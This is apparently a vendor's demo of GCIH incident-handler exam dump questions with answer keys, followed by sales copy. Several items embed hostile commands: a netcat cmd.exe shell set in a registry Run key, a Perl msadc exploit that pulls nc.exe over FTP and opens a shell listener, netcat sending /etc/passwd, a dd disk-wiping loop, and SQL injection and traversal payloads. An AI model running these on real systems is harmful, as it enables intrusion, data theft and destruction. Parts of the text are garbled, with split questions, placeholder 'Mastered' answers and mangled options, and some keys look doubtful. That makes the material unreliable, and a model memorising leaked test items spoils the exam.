Exam Questions GCIH

GIAC Certified Incident Handler

https://www.2passeasy.com/dumps/GCIH/

NEW QUESTION 1
Adam works as an Incident Handler for Umbrella Inc. He has been sent to the California unit to train the members of the incident response team. As a demo project he asked members of the incident response team to perform the following actions:
Remove the network cable wires.
Isolate the system on a separate VLAN
Use a firewall or access lists to prevent communication into or out of the system.
Change DNS entries to direct traffic away from compromised system
Which of the following steps of the incident handling process includes the above actions?

A. Identification
B. Containment
C. Eradication
D. Recovery

Answer: B

NEW QUESTION 2
Adam, a novice computer user, works primarily from home as a medical professional. He just bought a brand new Dual Core Pentium computer with over 3 GB of RAM. After about two months of working on his new computer, he notices that it is not running nearly as fast as it used to. Adam uses antivirus software, anti-spyware software, and keeps the computer up-to-date with Microsoft patches. After another month of working on the computer, Adam finds that his computer is even more noticeably slow. He also notices a window or two pop-up on his screen, but they quickly disappear. He has seen these windows show up, even when he has not been on the Internet. Adam notices that his computer only has about 10 GB of free space available. Since his hard drive is a 200 GB hard drive, Adam thinks this is very odd.
Which of the following is the mostly likely the cause of the problem?

A. Computer is infected with the stealth kernel level rootkit.
B. Computer is infected with stealth virus.
C. Computer is infected with the Stealth Trojan Virus.
D. Computer is infected with the Self-Replication Worm.

Answer: A

NEW QUESTION 3
Which of the following types of attacks is only intended to make a computer resource unavailable to its users?

A. Denial of Service attack
B. Replay attack
C. Teardrop attack
D. Land attack

Answer: A

NEW QUESTION 4
Which of the following types of attack can guess a hashed password?

A. Brute force attack
B. Evasion attack
C. Denial of Service attack
D. Teardrop attack

Answer: A

NEW QUESTION 5
Which of the following applications is an example of a data-sending Trojan?

A. SubSeven
B. Senna Spy Generator
C. Firekiller 2000
D. eBlaster

Answer: D

NEW QUESTION 6
Which of the following are the primary goals of the incident handling team?
Each correct answer represents a complete solution. Choose all that apply.

A. Freeze the scene.
B. Repair any damage caused by an incident.
C. Prevent any further damage.
D. Inform higher authorities.

Answer: ABC

NEW QUESTION 7
Which of the following tools is used for vulnerability scanning and calls Hydra to launch a dictionary attack?

A. Whishker
B. Nessus
C. SARA
D. Nmap

Answer: B

NEW QUESTION 8
You have configured a virtualized Internet browser on your Windows XP professional computer. Using the virtualized Internet browser, you can protect your operating system from which of the following?

A. Brute force attack
B. Mail bombing
C. Distributed denial of service (DDOS) attack
D. Malware installation from unknown Web sites

Answer: D

NEW QUESTION 9
John works as a Professional Penetration Tester. He has been assigned a project to test the Website security of www.we-are-secure Inc. On the We-are-secure Website login page, he enters ='or''=' as a username and successfully logs on to the user page of the Web site. Now, John asks the we-aresecure Inc. to improve the login page PHP script. Which of the following suggestions can John give to improve the security of the we-are-secure Website login page from the SQL injection attack?

A. Use the escapeshellarg() function
B. Use the session_regenerate_id() function
C. Use the mysql_real_escape_string() function for escaping input
D. Use the escapeshellcmd() function

Answer: C

NEW QUESTION 10
You want to scan your network quickly to detect live hosts by using ICMP ECHO Requests. What type of scanning will you perform to accomplish the task?

A. Idle scan
B. TCP SYN scan
C. XMAS scan
D. Ping sweep scan

Answer: D

NEW QUESTION 10
5.2.92:4079 ---------FIN--------->192.5.2.110:23

A. Mastered
B. Not Mastered

Answer: A

NEW QUESTION 15
5.2.92:4079<-----RST/ACK----------192.5.2.110:23
Which of the following types of port scan is Adam running?

A. ACK scan
B. FIN scan
C. XMAS scan
D. Idle scan

Answer: B

NEW QUESTION 17
Which of the following statements are true about netcat?
Each correct answer represents a complete solution. Choose all that apply.

A. It provides special tunneling, such as UDP to TCP, with the possibility of specifying all network parameters.
B. It can be used as a file transfer solution.
C. It provides outbound and inbound connections for TCP and UDP ports.
D. The nc -z command can be used to redirect stdin/stdout from a program.

Answer: ABC

NEW QUESTION 22
Which of the following refers to the exploitation of a valid computer session to gain unauthorized access to information or services in a computer system?

A. Piggybacking

B. Hacking
C. Session hijacking
D. Keystroke logging

Answer: C

NEW QUESTION 23
Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to test the network security of the company. He created a webpage to discuss the progress of the tests with employees who were interested in following the test. Visitors were allowed to click on a company's icon to mark the progress of the test. Adam successfully embeds a keylogger. He also added some statistics on the webpage. The firewall protects the network well and allows strict Internet access.
How was security compromised and how did the firewall respond?

A. The attack was social engineering and the firewall did not detect it.
B. Security was not compromised as the webpage was hosted internally.
C. The attack was Cross Site Scripting and the firewall blocked it.
D. Security was compromised as keylogger is invisible for firewall.

Answer: A

NEW QUESTION 25
Which of the following is a reason to implement security logging on a DNS server?

A. For preventing malware attacks on a DNS server
B. For measuring a DNS server's performance
C. For monitoring unauthorized zone transfer
D. For recording the number of queries resolved

Answer: C

NEW QUESTION 29
You work as a Network Administrator for Net Perfect Inc. The company has a Windows-based network. The company wants to fix potential vulnerabilities existing on the tested systems. You use Nessus as a vulnerability scanning program to fix the vulnerabilities. Which of the following vulnerabilities can be fixed using Nessus?
Each correct answer represents a complete solution. Choose all that apply.

A. Misconfiguration (e.
B. open mail relay, missing patches, etc.)
C. Vulnerabilities that allow a remote cracker to control sensitive data on a system
D. Vulnerabilities that allow a remote cracker to access sensitive data on a system
E. Vulnerabilities that help in Code injection attacks

Answer: ABC

NEW QUESTION 34
You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
"c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
What task do you want to perform by running this command?
Each correct answer represents a complete solution. Choose all that apply.

A. You want to perform banner grabbing.
B. You want to set the Netcat to execute command any time.
C. You want to put Netcat in the stealth mode.
D. You want to add the Netcat command to the Windows registry.

Answer: BCD

NEW QUESTION 36
Which of the following is the best method of accurately identifying the services running on a victim host?

A. Use of the manual method of telnet to each of the open ports.
B. Use of a port scanner to scan each port to confirm the services running.
C. Use of hit and trial method to guess the services and ports of the victim host.
D. Use of a vulnerability scanner to try to probe each port to verify which service is running.

Answer: A

NEW QUESTION 40
Which of the following Nmap commands is used to perform a UDP port scan?

A. nmap -sY
B. nmap -sS
C. nmap -sN
D. nmap -sU

Answer: D

NEW QUESTION 44
Which of the following tools can be used to detect the steganography?

A. Dskprobe
B. Blindside
C. ImageHide
D. Snow

Answer: A

NEW QUESTION 47
Which of the following takes control of a session between a server and a client using TELNET, FTP, or any other non-encrypted TCP/IP utility?

A. Dictionary attack
B. Session Hijacking
C. Trojan horse
D. Social Engineering

Answer: B

NEW QUESTION 49
Maria works as a professional Ethical Hacker. She is assigned a project to test the security of www.we-are-secure.com. She wants to test a DoS attack on the We-are-secure server. She finds that the firewall of the server is blocking the ICMP messages, but it is not checking the UDP packets. Therefore, she sends a large amount of UDP echo request traffic to the IP broadcast addresses. These UDP requests have a spoofed source address of the We-are-secure server. Which of the following DoS attacks is Maria using to accomplish her task?

A. Ping flood attack
B. Fraggle DoS attack
C. Teardrop attack
D. Smurf DoS attack

Answer: B

NEW QUESTION 51
Which of the following is a computer worm that caused a denial of service on some Internet hosts and dramatically slowed down general Internet traffic?

A. Klez
B. Code red
C. SQL Slammer
D. Beast

Answer: C

NEW QUESTION 54
John, a part-time hacker, has accessed in unauthorized way to the www.yourbank.com banking Website and stolen the bank account information of its users and their credit card numbers by using the SQL injection attack. Now, John wants to sell this information to malicious person Mark and make a deal to get a good amount of money. Since, he does not want to send the hacked information in the clear text format to Mark; he decides to send information in hidden text. For this, he takes a steganography tool and hides the information in ASCII text by appending whitespace to the end of lines and encrypts the hidden information by using the IDEA encryption algorithm. Which of the following tools is John using for steganography?

A. Image Hide
B. 2Mosaic
C. Snow.exe
D. Netcat

Answer: C

NEW QUESTION 56
You run the following command while using Nikto Web scanner:
perl nikto.pl -h 192.168.0.1 -p 443
What action do you want to perform?

A. Using it as a proxy server
B. Updating Nikto
C. Seting Nikto for network sniffing
D. Port scanning

Answer: D

NEW QUESTION 61
CORRECT TEXT
Fill in the blank with the appropriate term.
_____is the practice of monitoring and potentially restricting the flow of information outbound from one network to another

A.

Answer: Egressfiltering

NEW QUESTION 64
Which of the following commands can be used for port scanning?

A. nc -t
B. nc -z
C. nc -w
D. nc -g

Answer: B

NEW QUESTION 65
Which of the following tools can be used for steganography?
Each correct answer represents a complete solution. Choose all that apply.

A. Image hide
B. Stegbreak
C. Snow.exe
D. Anti-x

Answer: AC

NEW QUESTION 69
Adam, a malicious hacker performs an exploit, which is given below:
```
#########################################################
$port = 53;
# Spawn cmd.exe on port X
$your = "192.168.1.1";# Your FTP Server 89
$user = "Anonymous";# login as
$pass = 'noone@nowhere.com';# password
#########################################################
$host = $ARGV[0];
print "Starting ...\n";
print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo
open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h
$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\"");
system("perl msadc.pl -h $host C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...
\n";
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...
(Have a ftp server)\n";
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host $port"); exit(0);
```
Which of the following is the expected result of the above exploit?

A. Creates a share called "sasfile" on the target system
B. Creates an FTP server with write permissions enabled
C. Opens up a SMTP server that requires no username or password
D. Opens up a telnet listener that requires no username or password

Answer: D

NEW QUESTION 71
Which of the following statements are true about session hijacking?
Each correct answer represents a complete solution. Choose all that apply.

A. Use of a long random number or string as the session key reduces session hijacking.
B. It is used to slow the working of victim's network resources.
C. TCP session hijacking is when a hacker takes over a TCP session between two machines.
D. It is the exploitation of a valid computer session to gain unauthorized access to information or services in a computer system.

Answer: ACD

NEW QUESTION 75
Adam works as a Security administrator for Umbrella Inc. He runs the following traceroute and notices that hops 19 and 20 both show the same IP address.
1 172.16.1.254 (172.16.1.254) 0.724 ms 3.285 ms 0.613 ms 2 ip68-98-176-1.nv.nv.cox.net
(68.98.176.1) 12.169 ms 14.958 ms 13.416 ms 3 ip68-98-176-1.nv.nv.cox.net
(68.98.176.1) 13.948 ms ip68-100-0-1.nv.nv. cox.net (68.100.0.1) 16.743 ms 16.207 ms 4 ip68- 100-0-137.nv.nv.cox.net (68.100.0.137) 17.324 ms 13.933 ms 20.938 ms 5 68.1.1.4
(68.1.1.4) 12.439 ms 220.166 ms 204.170 ms
6 so-6-0-0.gar2.wdc1.Level3.net (67.29.170.1) 16.177 ms 25.943 ms 14.104 ms 7
unknown.Level3.net (209.247.9.173) 14.227 ms 17.553 ms 15.415 ms "Exambible" - 8 so-0-1- 0.bbr1.NewYork1.level3.net (64.159.1.41) 17.063 ms 20.960 ms 19.512 ms 9 so-7-0-0.gar1.
NewYork1.Level3.net (64.159.1.182) 20.334 ms 19.440 ms 17.938 ms 10 so-4-0- 0.edge1.NewYork1.Level3.
net (209.244.17.74) 27.526 ms 18.317 ms 21.202 ms 11 uunet-level3- oc48.NewYork1.Level3.net
(209.244.160.12) 21.411 ms 19.133 ms 18.830 ms 12 0.so-6-0-0.XL1.NYC4.ALTER.NET (152.63.21.78)

A. Mastered

B. Not Mastered

Answer: A

NEW QUESTION 80
466 ms 16 0.so-3-0-0.XR1.MIA4.ALTER.
NET (152.63.101.41) 50.937 ms 49.005 ms 51.055 ms 17 117.ATM6- 0.GW5.MIA1.ALTER.NET (152.63.82.73) 51.897 ms 50.280 ms 53.647 ms 18 Exambiblegw1. customer.alter.net (65.195.239.14) 51.921 ms 51.571 ms 56.855 ms 19 www.Exambible.com (65.195.239.22) 52.191 ms 52.571 ms 56.855 ms 20 www.Exambible.com (65.195.239.22) 53.561 ms 54.121 ms 58.333 ms
Which of the following is the most like cause of this issue?

A. An application firewall
B. Intrusion Detection System
C. Network Intrusion system
D. A stateful inspection firewall

Answer: D

NEW QUESTION 82
Which of the following are open-source vulnerability scanners?

A. Nessus
B. Hackbot
C. NetRecon
D. Nikto

Answer: ABD

NEW QUESTION 84
Victor wants to send an encrypted message to his friend. He is using certain steganography technique to accomplish this task. He takes a cover object and changes it accordingly to hide information. This secret information is recovered only when the algorithm compares the changed cover with the original cover.
Which of the following Steganography methods is Victor using to accomplish the task?

A. The distortion technique
B. The spread spectrum technique
C. The substitution technique
D. The cover generation technique

Answer: A

NEW QUESTION 85
Which of the following statements is true about the difference between worms and Trojan horses?

A. Trojan horses are a form of malicious codes while worms are not.
B. Trojan horses are harmful to computers while worms are not.
C. Worms can be distributed through emails while Trojan horses cannot.
D. Worms replicate themselves while Trojan horses do not.

Answer: D

NEW QUESTION 90
Which of the following viruses/worms uses the buffer overflow attack?

A. Chernobyl (CIH) virus
B. Nimda virus
C. Klez worm
D. Code red worm

Answer: D

NEW QUESTION 95
Which of the following rootkits patches, hooks, or replaces system calls with versions that hide information about the attacker?

A. Library rootkit
B. Kernel level rootkit
C. Hypervisor rootkit
D. Boot loader rootkit

Answer: A

NEW QUESTION 99
Which of the following actions is performed by the netcat command given below?
nc 55555 < /etc/passwd

A. It changes the /etc/passwd file when connected to the UDP port 55555.

B. It resets the /etc/passwd file to the UDP port 55555.
C. It fills the incoming connections to /etc/passwd file.
D. It grabs the /etc/passwd file when connected to UDP port 55555.

Answer: D

NEW QUESTION 101
Which of the following programs can be used to detect stealth port scans performed by a malicious hacker?
Each correct answer represents a complete solution. Choose all that apply.

A. nmap
B. scanlogd
C. libnids
D. portsentry

Answer: BCD

NEW QUESTION 106
Adam, a malicious hacker is sniffing the network to inject ARP packets. He injects broadcast frames onto the wire to conduct Man-in-The-Middle attack.
Which of the following is the destination MAC address of a broadcast frame?

A. 0xDDDDDDDDD
B. 0x00000000000
C. 0xFFFFFFFFFFF
D. 0xAAAAAAAAAA

Answer: C

NEW QUESTION 110
Andrew, a bachelor student of Faulkner University, creates a gmail account. He uses 'Faulkner' as the password for the gmail account. After a few days, he starts receiving a lot of e-mails stating that his gmail account has been hacked. He also finds that some of his important mails have been deleted by someone. Which of the following methods has the attacker used to crack Andrew's password?
Each correct answer represents a complete solution. Choose all that apply.

A. Denial-of-service (DoS) attack
B. Zero-day attack
C. Brute force attack
D. Social engineering
E. Buffer-overflow attack
F. Rainbow attack
G. Password guessing
H. Dictionary-based attack

Answer: CDFGH

NEW QUESTION 114
Firekiller 2000 is an example of a _____.

A. Security software disabler Trojan
B. DoS attack Trojan
C. Data sending Trojan
D. Remote access Trojan

Answer: A

NEW QUESTION 116
Which of the following statements about Ping of Death attack is true?

A. In this type of attack, a hacker sends more traffic to a network address than the buffer can handle.
B. This type of attack uses common words in either upper or lower case to find a password.
C. In this type of attack, a hacker maliciously cuts a network cable.
D. In this type of attack, a hacker sends ICMP packets greater than 65,536 bytes to crash a system.

Answer: D

NEW QUESTION 117
Which of the following can be used as a Trojan vector to infect an information system?
Each correct answer represents a complete solution. Choose all that apply.

A. NetBIOS remote installation
B. Any fake executable
C. Spywares and adware
D. ActiveX controls, VBScript, and Java scripts

Answer: ABCD

NEW QUESTION 121
Which of the following tools can be used as penetration tools in the Information system auditing process?
Each correct answer represents a complete solution. Choose two.

A. Nmap
B. Snort
C. SARA
D. Nessus

Answer: CD

NEW QUESTION 123
Which of the following attacks can be overcome by applying cryptography?

A. Buffer overflow
B. Web ripping
C. Sniffing
D. DoS

Answer: C

NEW QUESTION 125
Which of the following systems is used in the United States to coordinate emergency preparedness and incident management among various federal, state, and local agencies?

A. US Incident Management System (USIMS)
B. National Disaster Management System (NDMS)
C. National Emergency Management System (NEMS)
D. National Incident Management System (NIMS)

Answer: D

NEW QUESTION 130
Which of the following can be used to perform session hijacking?
Each correct answer represents a complete solution. Choose all that apply.

A. Cross-site scripting
B. Session fixation
C. ARP spoofing
D. Session sidejacking

Answer: ABD

NEW QUESTION 133
Which of the following rootkits is able to load the original operating system as a virtual machine, thereby enabling it to intercept all hardware calls made by the original operating system?

A. Kernel level rootkit
B. Boot loader rootkit
C. Hypervisor rootkit
D. Library rootkit

Answer: C

NEW QUESTION 137
In which of the following attacks does an attacker spoof the source address in IP packets that are sent to the victim?

A. Dos
B. DDoS
C. Backscatter
D. SQL injection

Answer: C

NEW QUESTION 141
You work as a Network Penetration tester in the Secure Inc. Your company takes the projects to test the security of various companies. Recently, Secure Inc. has assigned you a project to test the security of a Web site. You go to the Web site login page and you run the following SQL query:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'attacker@somehwere.com'; DROP TABLE members; --'
What task will the above SQL query perform?

A. Deletes the database in which members table resides.
B. Deletes the rows of members table where email id is 'attacker@somehwere.com' given.
C. Performs the XSS attacks.
D. Deletes the entire members table.

Answer: D

NEW QUESTION 146
Which of the following tools will you use to prevent from session hijacking?
Each correct answer represents a complete solution. Choose all that apply.

A. OpenSSH
B. Rlogin
C. Telnet
D. SSL

Answer: AD

NEW QUESTION 150
John visits an online shop that stores the IDs and prices of the items to buy in a cookie. After selecting the items that he wants to buy, the attacker changes the price of the item to 1.
Original cookie values:
ItemID1=2
ItemPrice1=900
ItemID2=1
ItemPrice2=200
Modified cookie values:
ItemID1=2
ItemPrice1=1
ItemID2=1
ItemPrice2=1
Now, he clicks the Buy button, and the prices are sent to the server that calculates the total price.
Which of the following hacking techniques is John performing?

A. Computer-based social engineering
B. Man-in-the-middle attack
C. Cross site scripting
D. Cookie poisoning

Answer: D

NEW QUESTION 151
Which of the following can be used as a countermeasure against the SQL injection attack?
Each correct answer represents a complete solution. Choose two.

A. mysql_real_escape_string()
B. session_regenerate_id()
C. mysql_escape_string()
D. Prepared statement

Answer: AD

NEW QUESTION 152
You want to integrate the Nikto tool with nessus vulnerability scanner. Which of the following steps will you take to accomplish the task?
Each correct answer represents a complete solution. Choose two.

A. Place nikto.pl file in the /etc/nessus directory.
B. Place nikto.pl file in the /var/www directory.
C. Place the directory containing nikto.pl in root's PATH environment variable.
D. Restart nessusd service.

Answer: CD

NEW QUESTION 156
John works as a Network Administrator for Perfect Solutions Inc. The company has a Linux-based network. The company is aware of various types of security attacks and wants to impede them. Hence, management has assigned John a project to port scan the company's Web Server. For this, he uses the nmap port scanner and issues the following command to perform idle port scanning:
nmap -PN -p- -sI IP_Address_of_Company_Server
He analyzes that the server's TCP ports 21, 25, 80, and 111 are open.
Which of the following security policies is the company using during this entire process to mitigate the risk of hacking attacks?

A. Non-disclosure agreement
B. Antivirus policy
C. Acceptable use policy
D. Audit policy

Answer: D

NEW QUESTION 161
You want to use PGP files for steganography. Which of the following tools will you use to accomplish the task?

A. Blindside

B. Snow
C. ImageHide
D. Stealth

Answer: D

NEW QUESTION 165
Which of the following HTTP requests is the SQL injection attack?

A. http://www.xsecurity.com/cgiin/bad.cgi?foo=..%fc%80%80%80%80%af../bin/ls%20-al
B. http://www.victim.com/example?accountnumber=67891&creditamount=999999999
C. http://www.myserver.com/search.asp?lname=adam%27%3bupdate%20usertable%20set% 20pass wd%3d %27hCx0r%27%3b--%00
D. http://www.myserver.com/script.php?mydata=%3cscript%20src=%22http%3a%2f% 2fwww.yourser ver.c0m %2fbadscript.js%22%3e%3c%2fscript%3e

Answer: C

NEW QUESTION 167
Maria works as the Chief Security Officer for Exambible Inc. She wants to send secret messages to the CEO of the company. To secure these messages, she uses a technique of hiding a secret message within an ordinary message. The technique provides 'security through obscurity'. What technique is Maria using?

A. Steganography
B. Public-key cryptography
C. RSA algorithm
D. Encryption

Answer: A

NEW QUESTION 169
Which of the following programs is used for bypassing normal authentication for securing remote access to a computer?

A. Backdoor
B. Worm
C. Adware
D. Spyware

Answer: A

NEW QUESTION 171
Which of the following statements is true about a Trojan engine?

A. It limits the system resource usage.
B. It specifies the signatures that keep a watch for a host or a network sending multiple packets to a single host or a single network.
C. It specifies events that occur in a related manner within a sliding time interval.
D. It analyzes the nonstandard protocols, such as TFN2K and BO2K.

Answer: D

NEW QUESTION 175
Which of the following types of attacks come under the category of hacker attacks?
Each correct answer represents a complete solution. Choose all that apply.

A. Smurf
B. IP address spoofing
C. Teardrop
D. Password cracking

Answer: BD

NEW QUESTION 177
You enter the following URL on your Web browser:
http://www.we-are-secure.com/scripts/..%co%af../..%co%
af../windows/system32/cmd.exe?/c+dir+c:\
What kind of attack are you performing?

A. Directory traversal
B. Replay
C. Session hijacking
D. URL obfuscating

Answer: A

NEW QUESTION 179
The IT administrator wants to implement a stronger security policy. What are the four most important security priorities for Exambible Software Systems Pvt. Ltd.?
(Click the Exhibit button on the toolbar to see the case study.)

A. Providing secure communications between the overseas office and the headquarters.
B. Implementing Certificate services on Texas office.
C. Protecting employee data on portable computers.
D. Providing two-factor authentication.
E. Ensuring secure authentication.
F. Preventing unauthorized network access.
G. Providing secure communications between Washington and the headquarters office.
H. Preventing denial-of-service attacks.

Answer: ACEF

NEW QUESTION 184
John works as an Ethical Hacker for Exambible Inc. He wants to find out the ports that are open in Exambible's server using a port scanner. However, he does not want to establish a full TCP connection.
Which of the following scanning techniques will he use to accomplish this task?

A. TCP FIN
B. TCP SYN/ACK
C. TCP SYN
D. Xmas tree

Answer: C

NEW QUESTION 188
John works as a Network Administrator for We-are-secure Inc. He finds that TCP port 7597 of the Weare- secure server is open. He suspects that it may be open due to a Trojan installed on the server. He presents a report to the company describing the symptoms of the Trojan. A summary of the report is given below:
Once this Trojan has been installed on the computer, it searches Notpad.exe, renames it Note.com, and then copies itself to the computer as Notepad.exe. Each time Notepad.exe is executed, the Trojan executes and calls the original Notepad to avoid being noticed.
Which of the following Trojans has the symptoms as the one described above?

A. NetBus
B. Qaz
C. eBlaster
D. SubSeven

Answer: B

NEW QUESTION 190
TCP/IP stack fingerprinting is the passive collection of configuration attributes from a remote device during standard layer 4 network communications. The combination of parameters may then be used to infer the remote operating system (OS fingerprinting), or incorporated into a device fingerprint.
Which of the following Nmap switches can be used to perform TCP/IP stack fingerprinting?

A. nmap -sS
B. nmap -sU -p
C. nmap -O -p
D. nmap -sT

Answer: C

NEW QUESTION 193
You are concerned about rootkits on your network communicating with attackers outside your network. Without using an IDS how can you detect this sort of activity?

A. By examining your domain controller server logs.
B. You cannot, you need an IDS.
C. By examining your firewall logs.
D. By setting up a DMZ.

Answer: C

NEW QUESTION 195
Which of the following practices come in the category of denial of service attack?
Each correct answer represents a complete solution. Choose three.

A. Performing Back door attack on a system
B. Disrupting services to a specific computer
C. Sending thousands of malformed packets to a network for bandwidth consumption
D. Sending lots of ICMP packets to an IP address

Answer: BCD

NEW QUESTION 198
Victor is a novice Ethical Hacker. He is learning the hacking process, i.e., the steps taken by malicious hackers to perform hacking. Which of the following steps is NOT included in the hacking process?

A. Scanning
B. Preparation

C. gaining access
D. Reconnaissance

Answer: B

NEW QUESTION 203
Which of the following wireless network security solutions refers to an authentication process in which a user can connect wireless access points to a centralized server to ensure that all hosts are properly authenticated?

A. Remote Authentication Dial-In User Service (RADIUS)
B. IEEE 802.1x
C. Wired Equivalent Privacy (WEP)
D. Wi-Fi Protected Access 2 (WPA2)

Answer: B

NEW QUESTION 204
Adam works as a Security Administrator for Umbrella Technology Inc. He reported a breach in security to his senior members, stating that "security defenses has been breached and exploited for 2 weeks by hackers." The hackers had accessed and downloaded 50,000 addresses containing customer credit cards and passwords. Umbrella Technology was looking to law enforcement officials to protect their intellectual property.
The intruder entered through an employee's home machine, which was connected to Umbrella Technology's corporate VPN network. The application called BEAST Trojan was used in the attack to open a "back door" allowing the hackers undetected access. The security breach was discovered when customers complained about the usage of their credit cards without their knowledge.
The hackers were traced back to Shanghai, China through e-mail address evidence. The credit card information was sent to that same e-mail address. The passwords allowed the hackers to access Umbrella Technology's network from a remote location, posing as employees.
Which of the following actions can Adam perform to prevent such attacks from occurring in future?

A. Allow VPN access but replace the standard authentication with biometric authentication
B. Replace the VPN access with dial-up modem access to the company's network
C. Disable VPN access to all employees of the company from home machines
D. Apply different security policy to make passwords of employees more complex

Answer: C

NEW QUESTION 207
You work as a System Administrator for Happy World Inc. Your company has a server named uC1 that runs Windows Server 2008. The Windows Server virtualization role service is installed on the uC1 server which hosts one virtual machine that also runs Windows Server 2008. You are required to install a new application on the virtual machine. You need to ensure that in case of a failure of the application installation, you are able to quickly restore the virtual machine to its original state.
Which of the following actions will you perform to accomplish the task?

A. Use the Virtualization Management Console to save the state of the virtual machine.
B. Log on to the virtual host and create a new dynamically expanding virtual hard disk.
C. Use the Virtualization Management Console to create a snapshot of the virtual machine.
D. Use the Edit Virtual Hard Disk Wizard to copy the virtual hard disk of the virtual machine.

Answer: C

NEW QUESTION 212
John is a malicious attacker. He illegally accesses the server of We-are-secure Inc. He then places a backdoor in the We-are-secure server and alters its log files.
Which of the following steps of malicious hacking includes altering the server log files?

A. Maintaining access
B. Covering tracks
C. Gaining access
D. Reconnaissance

Answer: B

NEW QUESTION 214
John works as a professional Ethical Hacker. He has been assigned the project of testing the security of www.we-are-secure.com. He wants to perform a stealth scan to discover open ports and applications running on the We-are-secure server. For this purpose, he wants to initiate scanning with the IP address of any third party. Which of the following scanning techniques will John use to accomplish his task?

A. RPC
B. IDLE
C. UDP
D. TCP SYN/ACK

Answer: B

NEW QUESTION 215
Adam, a malicious hacker has successfully gained unauthorized access to the Linux system of Umbrella Inc. Web server of the company runs on Apache. He has downloaded sensitive documents and database files from the computer.
After performing these malicious tasks, Adam finally runs the following command on the Linux command box before disconnecting.
for ((i = 0;i<11;i++)); do dd if=/dev/random of=/dev/hda && dd if=/dev/zero of=/dev/hda done
Which of the following actions does Adam want to perform by the above command?

A. Infecting the hard disk with polymorphic virus strings.
B. Deleting all log files present on the system.
C. Wiping the contents of the hard disk with zeros.
D. Making a bit stream copy of the entire hard disk for later download.

Answer: C

NEW QUESTION 220
Which of the following languages are vulnerable to a buffer overflow attack?
Each correct answer represents a complete solution. Choose all that apply.

A. Java
B. C++
C. C
D. Action script

Answer: BC

NEW QUESTION 225
You want to connect to your friend's computer and run a Trojan on it. Which of the following tools will you use to accomplish the task?

A. PSExec
B. Remoxec
C. Hk.exe
D. GetAdmin.exe

Answer: A

NEW QUESTION 229
In which of the following attacks does an attacker use packet sniffing to read network traffic between two parties to steal the session cookie?

A. Session fixation
B. Cross-site scripting
C. Session sidejacking
D. ARP spoofing

Answer: C

NEW QUESTION 231
Which of the following types of scan does not open a full TCP connection?

A. FIN scan
B. ACK scan
C. Stealth scan
D. Idle scan

Answer: C

NEW QUESTION 234
Which of the following steps can be taken as countermeasures against sniffer attacks?
Each correct answer represents a complete solution. Choose all that apply.

A. Use encrypted protocols for all communications.
B. Use switches instead of hubs since they switch communications, which means that information is delivered only to the predefined host.
C. Use tools such as StackGuard and Immunix System to avoid attacks.
D. Reduce the range of the network to avoid attacks into wireless networks.

Answer: ABD

NEW QUESTION 235
Which of the following attacks allows an attacker to retrieve crucial information from a Web server's database?

A. Database retrieval attack
B. PHP injection attack
C. SQL injection attack
D. Server data attack

Answer: C

NEW QUESTION 237
Which of the following is used to gather information about a remote network protected by a firewall?

A. Warchalking
B. Wardialing
C. Firechalking

D. Firewalking

Answer: D

NEW QUESTION 238
Which of the following hacking tools provides shell access over ICMP?

A. John the Ripper
B. Nmap
C. Nessus
D. Loki

Answer: D

NEW QUESTION 242
Which of the following is a method of gaining access to a system that bypasses normal authentication?

A. Teardrop
B. Trojan horse
C. Back door
D. Smurf

Answer: C

NEW QUESTION 246
Which of the following steps of incident response is steady in nature?

A. Containment
B. Eradication
C. Preparation
D. Recovery

Answer: C

NEW QUESTION 248
Which of the following are used to identify who is responsible for responding to an incident?

A. Disaster management policies
B. Incident response manuals
C. Disaster management manuals
D. Incident response policies

Answer: D

NEW QUESTION 252
Which of the following is used to determine the range of IP addresses that are mapped to a live hosts?

A. Port sweep
B. Ping sweep
C. IP sweep
D. Telnet sweep

Answer: B

NEW QUESTION 256
Which of the following options scans the networks for vulnerabilities regarding the security of a network?

A. System enumerators
B. Port enumerators
C. Network enumerators
D. Vulnerability enumerators

Answer: C

NEW QUESTION 260
Which of the following strategies allows a user to limit access according to unique hardware information supplied by a potential client?

A. Extensible Authentication Protocol (EAP)
B. WEP
C. MAC address filtering
D. Wireless Transport Layer Security (WTLS)

Answer: C

NEW QUESTION 261
Which of the following protocols uses only User Datagram Protocol (UDP)?

A. POP3
B. FTP
C. ICMP
D. TFTP

Answer: D

NEW QUESTION 262
Which of the following describes network traffic that originates from the inside of a network perimeter and progresses towards the outside?

A. Ingress network
B. Inwards network
C. Egress network
D. Outwards network

Answer: C

NEW QUESTION 263
Choose and reorder the steps of an incident handling process in their correct order.

A. Mastered
B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 266
Choose the items from the given list that are required to be in the response kit of an Incident Handler.

A. Mastered
B. Not Mastered

Answer: A

Explanation:

NEW QUESTION 270
.....

THANKS FOR TRYING THE DEMO OF OUR PRODUCT

Visit Our Site to Purchase the Full Set of Actual GCIH Exam Questions With Answers.

We Also Provide Practice Exam Software That Simulates Real Exam Environment And Has Many Self-Assessment Features. Order the GCIH Product From:

https://www.2passeasy.com/dumps/GCIH/

Money Back Guarantee

GCIH Practice Exam Features:

* GCIH Questions and Answers Updated Frequently

* GCIH Practice Questions Verified by Expert Senior Certified Staff

* GCIH Most Realistic Questions that Guarantee you a Pass on Your FirstTry

* GCIH Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year